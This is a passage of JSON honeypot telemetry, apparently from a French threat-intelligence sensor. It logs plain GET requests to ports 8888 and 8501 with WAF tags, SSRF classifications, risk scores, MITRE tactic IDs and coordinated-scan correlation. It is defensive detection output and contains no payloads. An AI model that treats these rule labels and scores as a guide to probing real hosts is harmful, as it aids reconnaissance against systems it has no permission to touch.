\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_path_traversal\u0022, \u0022http_probe_cgi_bin\u0022, \u0022http_sensitive_path\u0022, \u0022iot_http_endpoint\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":339},{"id":14474878,"ip":"34.19.116.51","ts":"2026-07-30 18:53:11.000000","proto":"tcp","src_port":45056,"dst_port":8888,"service":"http","classification":"ssrf_internal","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u002225a58e7d7f0ed40aadf0d51b038172ea9ccc8435\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 185, \u0022payload_entropy\u0022: 5.357729020258063, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8888, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 80.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 4.9, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 55, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022e11c1b827d438ca6f81f14ef35ff35f7c31ff992\u0022, \u0022event_fingerprint\u0022: \u0022d96673c00b57d970f6555d6dff66c77e09351a74\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022confidence\u0022: 0.64, \u0022classification_confidence\u0022: 0.64, \u0022precision_score\u0022: 64, \u0022precision_signals\u0022: [\u0022CRS-920350\u0022], \u0022kb_rule_ids\u0022: [\u0022CRS-920350\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022, \u0022pat-0599\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022, \u0022HTTP alt 8888 probe\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022, \u0022pat-0599\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 55, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022ssrf_attack\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 54.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022e4f1deb97dadb03be2696e7018622f71\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8888, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 55}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8888\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8888\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8888\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8888\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8888\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00228c67378588b58e4735d670e988f0d9bccac84998\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8888, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8888\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8888 \u00b7 (tentative d\u0027exploit)\u0022, \u0022target_port_label\u0022: \u00228888 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 64, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 55, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 55, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8888, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022CRS-920350\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022CRS-920350\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8888, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8888 \u00b7 (tentative d\u0027exploit)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8888\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022target_port_label\u0022: \u00228888 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228888\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8888","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":185},{"id":14469567,"ip":"34.19.116.51","ts":"2026-07-30 18:50:59.000000","proto":"tcp","src_port":45056,"dst_port":8501,"service":"http","classification":"ssrf_internal","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022182ae9c2f64add816b3e70f7f8c7bbb406087031\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 216, \u0022payload_entropy\u0022: 5.386378457647788, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8501, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 80.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 2.5, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 52, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022bc38276953331c6898263407de5454389c58a5a8\u0022, \u0022event_fingerprint\u0022: \u0022c2378983c0fac6898d57a6652cd705a0d79be1cb\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022confidence\u0022: 0.72, \u0022classification_confidence\u0022: 0.72, \u0022precision_score\u0022: 64, \u0022precision_signals\u0022: [\u0022CRS-920350\u0022], \u0022kb_rule_ids\u0022: [\u0022CRS-920350\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 52, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022ssrf_attack\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 54.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u002231cb6109fae308b97583b01f6cabc653\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8501, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 52}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022024686ae84dd925432c170fea980574c8f05792d\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8501, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8501 \u00b7 (tentative d\u0027exploit)\u0022, \u0022target_port_label\u0022: \u00228501 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 72, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 52, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 52, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8501, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022CRS-920350\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022CRS-920350\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8501, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8501 \u00b7 (tentative d\u0027exploit)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8501\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022target_port_label\u0022: \u00228501 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: 